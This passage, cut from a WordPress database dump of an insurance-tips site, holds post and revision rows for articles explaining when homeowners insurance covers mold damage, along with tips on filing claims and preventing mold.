damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','publish','closed','closed','','does-homeowners-insurance-cover-mold-2','','','2024-05-25 19:39:24','2024-05-25 19:39:24','',0,'https://smartinsurance.tips/?p=4099',0,'post','',0),(4100,1,'2024-05-25 19:37:09','2024-05-25 19:37:09','','Untitled-21-2','','inherit','closed','closed','','untitled-21-2-2','','','2024-05-25 19:37:09','2024-05-25 19:37:09','',4099,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-2.png',0,'attachment','image/png',0),(4101,1,'2024-05-25 19:39:22','2024-05-25 19:39:22','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4100,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-2-1024x1024.png\" alt=\"\" class=\"wp-image-4100\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','4099-revision-v1','','','2024-05-25 19:39:22','2024-05-25 19:39:22','',4099,'https://smartinsurance.tips/?p=4101',0,'revision','',0),(4102,1,'2024-05-25 19:39:50','2024-05-25 19:39:50','','Untitled-21-3','','inherit','closed','closed','','untitled-21-3-2','','','2024-05-25 19:39:50','2024-05-25 19:39:50','',1832,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-3.png',0,'attachment','image/png',0),(4103,1,'2024-05-25 19:39:54','2024-05-25 19:39:54','<!-- wp:paragraph -->\n<p>Mold can create financial headaches for homeowners.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4102,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-3-1024x1024.png\" alt=\"\" class=\"wp-image-4102\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance is designed to cover you against various types of damage, but you may be wondering whether that includes mold. It’s a good question to ask, particularly if you’re purchasing an older home and want to avoid any potentially costly surprises. The answer isn’t always clear-cut. “Generally, standard homeowners insurance policies can cover mold to an extent,” says Sean Harper, CEO and co-founder of Kin, a Chicago-based insurtech startup. “It depends on what caused the mold.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a look at the most common situations in which mold may—or may not—be covered by homeowners insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Key takeaways:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Mold coverage isn’t guaranteed by your homeowners insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Typically, mold damage is only covered if it’s related to a covered peril.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mold damage caused by flooding would need to be covered by a separate flood insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Proper preventative measures can help minimize the odds of having to deal with a mold issue.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">Covered Perils and Mold Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance policies spell out a list of “covered perils,” meaning instances of damage to the home for which you’re eligible to file a claim. The main cause of mold formation is water seeping into the structure of your home, so you need to know which water-related covered perils are included in your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, your policy may cover you if mold results from any of the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-11\"><!-- wp:list-item -->\n<li>Water leaks associated with a malfunctioning appliance</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by a burst hot water heater</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by firefighters extinguishing a fire in your home</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">In these instances mold would be “resulting damage” from a covered peril. It’s important to distinguish between resulting damage and initial damage. For example, if your water heater breaks and a leak causes mold to form in the walls, then your policy might pay for the walls to be repaired and the mold to be removed but not for the replacement of the hot water heater.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">It’s important to note that the amount your policy may pay for mold repair and removal might not cover all the resulting damage. “This extent of mold coverage is typically limited—for example, a company may cap mold removal and remediation at $10,000 for a single occurrence,” says Pat Howard. Higher coverage limits may be available, but if you’re unsure about what’s covered, Howard suggests talking to your agent to find out what options you have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-19\">Mold Caused by Floods or Acts of Nature</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">In some cases mold can grow as a result of water damage from outside forces. Whether your homeowners insurance covers mold in that instance depends on what caused the damage to begin with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Mold that’s a result of storm surges, like floodwaters, is usually not covered by standard homeowners insurance,” Harper says. “That’s because standard home insurance policies don’t cover flood damage—you need flood insurance for that.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">If you have a flood insurance policy and your home is flooded due to heavy rains, a hurricane, or another act of nature, then your policy may extend to mold removal and repairs necessitated by flooding. Flood insurance costs on average around $700 per year in addition to your regular homeowners insurance premium, though it may cost more if you live in an area that’s at higher risk for flooding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">That may be worth the investment, however, if you’re concerned about mold resulting from a flood. According to FEMA, just one inch of water in your home can cause $25,000 in damage. Flood insurance with mold coverage could help mitigate some cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Mold that results from other acts of nature, such as a hurricane or an ice storm, may be covered under your homeowners insurance policy. For instance, if a hurricane tears your roof off and water gets inside the home, causing mold to grow, you might be able to file a claim for that along with other damages to the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-30\">Mold Resulting From Negligence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">The third category of mold-related damage is associated with negligence on the part of the homeowner. What this means in simple terms is ignoring home maintenance or repairs to the extent that they allow mold to develop. “Mold typically isn’t covered by your homeowners insurance policy if it forms because of neglect or lack of upkeep,” Howard says. “If you knowingly could have prevented the mold by fixing leaky pipes or using a dehumidifier, your insurer won’t reimburse you for mold removal and remediation.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Say that you notice the seal around the base of your toilet is leaking water. Instead of replacing the seal or the toilet, you let the leak continue, which causes damage to the sub-flooring. From there, mold sets in and spreads to the baseboards and walls. In that instance, your homeowners insurance policy claim may be denied because you were in a position to prevent the mold from happening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">How to Avoid Having a Mold Damage Claim Denied</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">There are several things you can do to prevent mold and/or improve the odds of having your claim approved if you incur mold damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">On the prevention side, you can:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-40\"><!-- wp:list-item -->\n<li>nstall dehumidifiers in areas that are prone to dampness</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly check plumbing pipes and fittings to look for leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adequately ventilate bathrooms, laundry rooms, kitchens, and other areas of your home where mold may have an opportunity to grow</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep gutters clean to prevent the formation of ice dams in winter, which can lead to leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof—and around windows and doors—and caulk cracks that could allow water to leak in</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Properly insulate interior and exterior pipes in winter to avoid breakages or leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Routinely check appliances and hot water heaters for signs of leaks</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you have to file a claim for mold damage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-44\"><!-- wp:list-item -->\n<li>Properly document the damage with photos and/or video</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide up-to-date maintenance records if you have them</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Follow any and all instructions the insurance company gives you to process the claim</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contract approved mold removal companies to clean up the damage</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">What to Do if Your Mold Claim Is 